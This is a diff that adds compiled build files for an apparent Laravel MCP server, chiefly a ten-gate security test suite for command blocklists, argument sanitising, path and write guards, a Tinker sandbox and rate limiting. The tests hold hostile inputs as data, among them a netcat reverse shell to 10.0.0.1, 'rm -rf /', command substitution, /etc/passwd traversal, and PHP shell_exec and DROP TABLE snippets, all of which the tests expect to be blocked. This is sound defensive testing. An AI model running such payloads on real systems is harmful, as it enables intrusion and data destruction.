C,WAAW;YAC/B,SAAS,EAAE,MAAM,CAAC,SAAS;YAC3B,SAAS,EAAE,MAAM,CAAC,cAAc;SACjC,CAAC,CAAC;QAEH,QAAQ,CAAC;YACP,IAAI,EAAE,2BAA2B;YACjC,IAAI,EAAE,WAAW;YACjB,MAAM,EAAE,MAAM,CAAC,QAAQ,KAAK,CAAC,CAAC,CAAC,CAAC,SAAS,CAAC,CAAC,CAAC,OAAO;SACpD,CAAC,CAAC;QAEH,OAAO;YACL,QAAQ,EAAE;gBACR;oBACE,GAAG,EAAE,GAAG,CAAC,IAAI;oBACb,QAAQ,EAAE,kBAAkB;oBAC5B,IAAI,EAAE,MAAM,CAAC,MAAM,IAAI,IAAI;iBAC5B;aACF;SACF,CAAC;IACJ,CAAC,CACF,CAAC;IAEF,uDAAuD;IACvD,MAAM,CAAC,gBAAgB,CACrB,oBAAoB,EACpB,IAAI,gBAAgB,CAAC,wBAAwB,EAAE,EAAE,IAAI,EAAE,SAAS,EAAE,CAAC,EACnE;QACE,KAAK,EAAE,2BAA2B;QAClC,WAAW,EAAE,2EAA2E;QACxF,QAAQ,EAAE,kBAAkB;KAC7B,EACD,KAAK,EAAE,GAAG,EAAE,EAAE,GAAG,EAAE,EAAE,EAAE;QACrB,MAAM,MAAM,GAAG,KAAK,CAAC,OAAO,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC;QACjD,MAAM,MAAM,GAAG,MAAM,UAAU,CAAC,aAAa,EAAE,CAAC,MAAM,CAAC,EAAE;YACvD,WAAW,EAAE,MAAM,CAAC,WAAW;YAC/B,SAAS,EAAE,MAAM,CAAC,SAAS;YAC3B,SAAS,EAAE,MAAM,CAAC,cAAc;SACjC,CAAC,CAAC;QAEH,QAAQ,CAAC;YACP,IAAI,EAAE,6BAA6B,MAAM,EAAE;YAC3C,IAAI,EAAE,WAAW;YACjB,MAAM,EAAE,MAAM,CAAC,QAAQ,KAAK,CAAC,CAAC,CAAC,CAAC,SAAS,CAAC,CAAC,CAAC,OAAO;SACpD,CAAC,CAAC;QAEH,OAAO;YACL,QAAQ,EAAE;gBACR;oBACE,GAAG,EAAE,GAAG,CAAC,IAAI;oBACb,QAAQ,EAAE,kBAAkB;oBAC5B,IAAI,EAAE,IAAI,CAAC,SAAS,CAAC,EAAE,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,CAAC,MAAM,CAAC,IAAI,EAAE,EAAE,CAAC;iBACnE;aACF;SACF,CAAC;IACJ,CAAC,CACF,CAAC;AACJ,CAAC"}
@@ -0,0 +1,2 @@
1
+ export {};
2
+ //# sourceMappingURL=full-security-audit.test.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"full-security-audit.test.d.ts","sourceRoot":"","sources":["../../src/tests/full-security-audit.test.ts"],"names":[],"mappings":""}
@@ -0,0 +1,226 @@
1
+ import test from "node:test";
2
+ import assert from "node:assert/strict";
3
+ import fs from "node:fs";
4
+ import path from "node:path";
5
+ import os from "node:os";
6
+ import { checkEnvironment, classifyCommand, isCommandAllowed, sanitizeArgs, validateDangerousFlags, sanitizeTinkerCode, isPathSafe, isWriteAllowed, } from "../utils/security.js";
7
+ import { RateLimiter } from "../utils/rate-limiter.js";
8
+ import { parseConfig } from "../utils/config.js";
9
+ import { initAuditLogger, logAudit } from "../utils/audit.js";
10
+ import { writeFileContent } from "../utils/file.js";
11
+ // ============================================================================
12
+ // COMPREHENSIVE SECURITY AUDIT TEST SUITE (10-GATE SAFETY VERIFICATION)
13
+ // ============================================================================
14
+ test("Gate 1: Environment Safety Gate (Production Block)", () => {
15
+ const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "laravel-env-test-"));
16
+ const envPath = path.join(tmpDir, ".env");
17
+ // Production check -> MUST THROW FATAL ERROR
18
+ fs.writeFileSync(envPath, "APP_NAME=Laravel\nAPP_ENV=production\n");
19
+ assert.throws(() => checkEnvironment(tmpDir), /refuses to start when APP_ENV=production/i);
20
+ // Capitalized PRODUCTION check
21
+ fs.writeFileSync(envPath, "APP_ENV=\"PRODUCTION\"\n");
22
+ assert.throws(() => checkEnvironment(tmpDir), /refuses to start when APP_ENV=production/i);
23
+ // Staging check -> Allowed with stderr warning
24
+ fs.writeFileSync(envPath, "APP_ENV=staging\n");
25
+ assert.doesNotThrow(() => checkEnvironment(tmpDir));
26
+ // Local check -> Allowed
27
+ fs.writeFileSync(envPath, "APP_ENV=local\n");
28
+ assert.doesNotThrow(() => checkEnvironment(tmpDir));
29
+ fs.rmSync(tmpDir, { recursive: true, force: true });
30
+ });
31
+ test("Gate 2: Command Classification & Complete Blocklist Audit", () => {
32
+ const dangerousCommands = [
33
+ "migrate:fresh",
34
+ "migrate:reset",
35
+ "migrate:rollback",
36
+ "migrate:refresh",
37
+ "db:wipe",
38
+ "down",
39
+ "up",
40
+ "tinker",
41
+ "serve",
42
+ "queue:restart",
43
+ "event:generate",
44
+ "vendor:publish",
45
+ "schedule:run",
46
+ "notifications:table",
47
+ "session:table",
48
+ "queue:table",
49
+ "cache:table",
50
+ "package:discover",
51
+ "stub:publish",
52
+ ];
53
+ for (const cmd of dangerousCommands) {
54
+ assert.equal(classifyCommand(cmd), "DANGEROUS", `Command '${cmd}' must be classified as DANGEROUS`);
55
+ const check = isCommandAllowed(cmd);
56
+ assert.equal(check.allowed, false, `Command '${cmd}' must be permanently blocked`);
57
+ }
58
+ // Arbitrary shell commands must automatically fall back to DANGEROUS
59
+ const arbitraryCmds = ["eval", "system", "rm", "format", "powershell", "bash", "cat"];
60
+ for (const cmd of arbitraryCmds) {
61
+ assert.equal(classifyCommand(cmd), "DANGEROUS");
62
+ assert.equal(isCommandAllowed(cmd).allowed, false);
63
+ }
64
+ });
65
+ test("Gate 3: Shell Injection & Malicious Vector Filtering", () => {
66
+ const attackPayloads = [
67
+ "; rm -rf /",
68
+ "&& shutdown /s",
69
+ "| nc -e /bin/sh 10.0.0.1 4444",
70
+ "`id`",
71
+ "$(whoami)",
72
+ "${PATH}",
73
+ "arg > /tmp/hack.txt",
74
+ "arg < /tmp/payload.txt",
75
+ "arg\nrm -rf /",
76
+ "arg\r\nrm -rf /",
77
+ "arg\0.php",
78
+ "../../../etc/passwd",
79
+ "..\\..\\..\\windows\\system32",
80
+ ];
81
+ for (const payload of attackPayloads) {
82
+ assert.throws(() => sanitizeArgs([payload]), /Security Error/i, `Attack payload '${payload}' was not blocked by sanitizeArgs!`);
83
+ }
84
+ // Length overflow check
85
+ assert.throws(() => sanitizeArgs(["a".repeat(256)]), /exceeds 255/);
86
+ // Parameter count overflow check
87
+ assert.throws(() => sanitizeArgs(Array(21).fill("arg")), /Too many arguments/);
88
+ });
89
+ test("Gate 4: Destructive Flag Interception", () => {
90
+ // --force flag checks
91
+ assert.throws(() => validateDangerousFlags("migrate", ["--force"]), /--force/);
92
+ assert.throws(() => validateDangerousFlags("db:seed", ["--force"]), /--force/);
93
+ assert.throws(() => validateDangerousFlags("key:generate", ["--force"]), /--force/);
94
+ // --seed flag check on migrate
95
+ assert.throws(() => validateDangerousFlags("migrate", ["--seed"]), /--seed/);
96
+ // Destructive wildcards
97
+ assert.throws(() => validateDangerousFlags("migrate", ["--drop-tables"]), /prohibited/i);
98
+ assert.throws(() => validateDangerousFlags("migrate", ["--drop-views"]), /prohibited/i);
99
+ assert.throws(() => validateDangerousFlags("migrate", ["--wipe"]), /prohibited/i);
100
+ // Harmless flags allowed
101
+ assert.doesNotThrow(() => validateDangerousFlags("migrate", ["--pretend"]));
102
+ assert.doesNotThrow(() => validateDangerousFlags("route:list", ["--compact"]));
103
+ });
104
+ test("Gate 5: Path Traversal & Symlink Escape Prevention", () => {
105
+ const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "laravel-path-test-"));
106
+ const appDir = path.join(tmpDir, "app");
107
+ fs.mkdirSync(appDir, { recursive: true });
108
+ // Valid paths inside root
109
+ assert.equal(isPathSafe("app/Models/User.php", tmpDir), path.resolve(tmpDir, "app/Models/User.php"));
110
+ // Traversal attacks
111
+ assert.throws(() => isPathSafe("../../../etc/passwd", tmpDir), /Security Error/);
112
+ assert.throws(() => isPathSafe("..\\..\\windows\\system32", tmpDir), /Security Error/);
113
+ assert.throws(() => isPathSafe("/etc/passwd", tmpDir), /Security Error/);
114
+ fs.rmSync(tmpDir, { recursive: true, force: true });
115
+ });
116
+ test("Gate 6: File Write Guard, Extension Whitelist & Auto-Backup System", async () => {
117
+ const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "laravel-write-test-"));
118
+ const appDir = path.join(tmpDir, "app", "Http", "Controllers");
119
+ fs.mkdirSync(appDir, { recursive: true });
120
+ // Whitelisted directory & extension
121
+ assert.equal(isWriteAllowed("app/Http/Controllers/ProductController.php").allowed, true);
122
+ assert.equal(isWriteAllowed("routes/api.php").allowed, true);
123
+ assert.equal(isWriteAllowed("resources/views/welcome.blade.php").allowed, true);
124
+ assert.equal(isWriteAllowed("config/services.php").allowed, true);
125
+ // Blacklisted directory / files
126
+ assert.equal(isWriteAllowed(".env").allowed, false);
127
+ assert.equal(isWriteAllowed("vendor/autoload.php").allowed, false);
128
+ assert.equal(isWriteAllowed("node_modules/express/index.js").allowed, false);
129
+ assert.equal(isWriteAllowed("artisan").allowed, false);
130
+ assert.equal(isWriteAllowed("composer.json").allowed, false);
131
+ assert.equal(isWriteAllowed("storage/logs/laravel.log").allowed, false);
132
+ assert.equal(isWriteAllowed("public/index.php").allowed, false);
133
+ // Blacklisted extension
134
+ assert.equal(isWriteAllowed("app/exploit.sh").allowed, false);
135
+ assert.equal(isWriteAllowed("app/malware.exe").allowed, false);
136
+ // Test Auto-Backup execution
137
+ const testFile = path.join(appDir, "TestController.php");
138
+ fs.writeFileSync(testFile, "<?php // Original Content");
139
+ const { backupPath } = await writeFileContent(testFile, "<?php // Updated Content", tmpDir);
140
+ assert.ok(backupPath, "Backup path must be generated");
141
+ assert.ok(fs.existsSync(backupPath), "Backup file must exist on disk");
142
+ assert.equal(fs.readFileSync(backupPath, "utf-8"), "<?php // Original Content");
143
+ assert.equal(fs.readFileSync(testFile, "utf-8"), "<?php // Updated Content");
144
+ fs.rmSync(tmpDir, { recursive: true, force: true });
145
+ });
146
+ test("Gate 7: Tinker Code Sandbox & Exploit Mitigation", () => {
147
+ // Safe snippets
148
+ assert.equal(sanitizeTinkerCode("User::first();").safe, true);
149
+ assert.equal(sanitizeTinkerCode("config('app.name');").safe, true);
150
+ assert.equal(sanitizeTinkerCode("collect([1, 2, 3])->map(fn($n) => $n * 2);").safe, true);
151
+ // System command execution exploits
152
+ assert.ok(!sanitizeTinkerCode("exec('whoami');").safe);
153
+ assert.ok(!sanitizeTinkerCode("system('ls -la');").safe);
154
+ assert.ok(!sanitizeTinkerCode("passthru('id');").safe);
155
+ assert.ok(!sanitizeTinkerCode("shell_exec('cat /etc/passwd');").safe);
156
+ assert.ok(!sanitizeTinkerCode("popen('cmd', 'r');").safe);
157
+ // File modification exploits
158
+ assert.ok(!sanitizeTinkerCode("unlink('app/Models/User.php');").safe);
159
+ assert.ok(!sanitizeTinkerCode("file_put_contents('.env', 'HACKED');").safe);
160
+ // Database destruction exploits
161
+ assert.ok(!sanitizeTinkerCode("DB::statement('DROP TABLE users');").safe);
162
+ assert.ok(!sanitizeTinkerCode("Schema::drop('users');").safe);
163
+ assert.ok(!sanitizeTinkerCode("User::truncate();").safe);
164
+ });
165
+ test("Gate 8: Rate Limiter & Flood Prevention", () => {
166
+ const limiter = new RateLimiter({
167
+ maxRequestsPerMinute: 5,
168
+ maxRequestsPerHour: 100,
169
+ cooldownMs: 0,
170
+ });
171
+ for (let i = 0; i < 5; i++) {
172
+ assert.equal(limiter.checkRateLimit().allowed, true, `Request #${i + 1} should be allowed`);
173
+ limiter.recordRequest();
174
+ }
175
+ // 6th request MUST be blocked
176
+ const check = limiter.checkRateLimit();
177
+ assert.equal(check.allowed, false, "Request #6 must be blocked by rate limiter");
178
+ assert.ok(check.reason?.includes("limit of 5 requests per minute exceeded"));
179
+ });
180
+ test("Gate 9: Audit Logger (.jsonl persistence & format)", () => {
181
+ const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "laravel-audit-test-"));
182
+ const sessionId = initAuditLogger(tmpDir);
183
+ assert.ok(sessionId, "Session ID must be initialized");
184
+ logAudit({
185
+ tool: "run_artisan",
186
+ tier: "CAUTIOUS",
187
+ command: "make:model",
188
+ args: ["Product"],
189
+ status: "ALLOWED",
190
+ exitCode: 0,
191
+ });
192
+ logAudit({
193
+ tool: "run_artisan",
194
+ tier: "DANGEROUS",
195
+ command: "migrate:fresh",
196
+ status: "BLOCKED",
197
+ reason: "Permanently blocked",
198
+ });
199
+ const auditFile = path.join(tmpDir, ".laravel-mcp-audit.jsonl");
200
+ assert.ok(fs.existsSync(auditFile), "Audit log file must be created on disk");
201
+ const lines = fs.readFileSync(auditFile, "utf-8").trim().split("\n");
202
+ assert.equal(lines.length, 2, "Must contain exactly 2 audit log entries");
203
+ const entry1 = JSON.parse(lines[0]);
204
+ assert.equal(entry1.tool, "run_artisan");
205
+ assert.equal(entry1.command, "make:model");
206
+ assert.equal(entry1.status, "ALLOWED");
207
+ const entry2 = JSON.parse(lines[1]);
208
+ assert.equal(entry2.command, "migrate:fresh");
209
+ assert.equal(entry2.status, "BLOCKED");
210
+ fs.rmSync(tmpDir, { recursive: true, force: true });
211
+ });
212
+ test("Gate 10: Dry-Run Mode & CLI Argument Configuration", () => {
213
+ const config = parseConfig([
214
+ "node",
215
+ "index.js",
216
+ "/path/to/laravel",
217
+ "--dry-run",
218
+ "--allow-write",
219
+ "--rate-limit",
220
+ "50",
221
+ ]);
222
+ assert.equal(config.dryRun, true);
223
+ assert.equal(config.allowWrite, true);
224
+ assert.equal(config.rateLimit, 50);
225
+ });
226
+ //# sourceMappingURL=full-security-audit.test.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"full-security-audit.test.js","sourceRoot":"","sources":["../../src/tests/full-security-audit.test.ts"],"names":[],"mappings":"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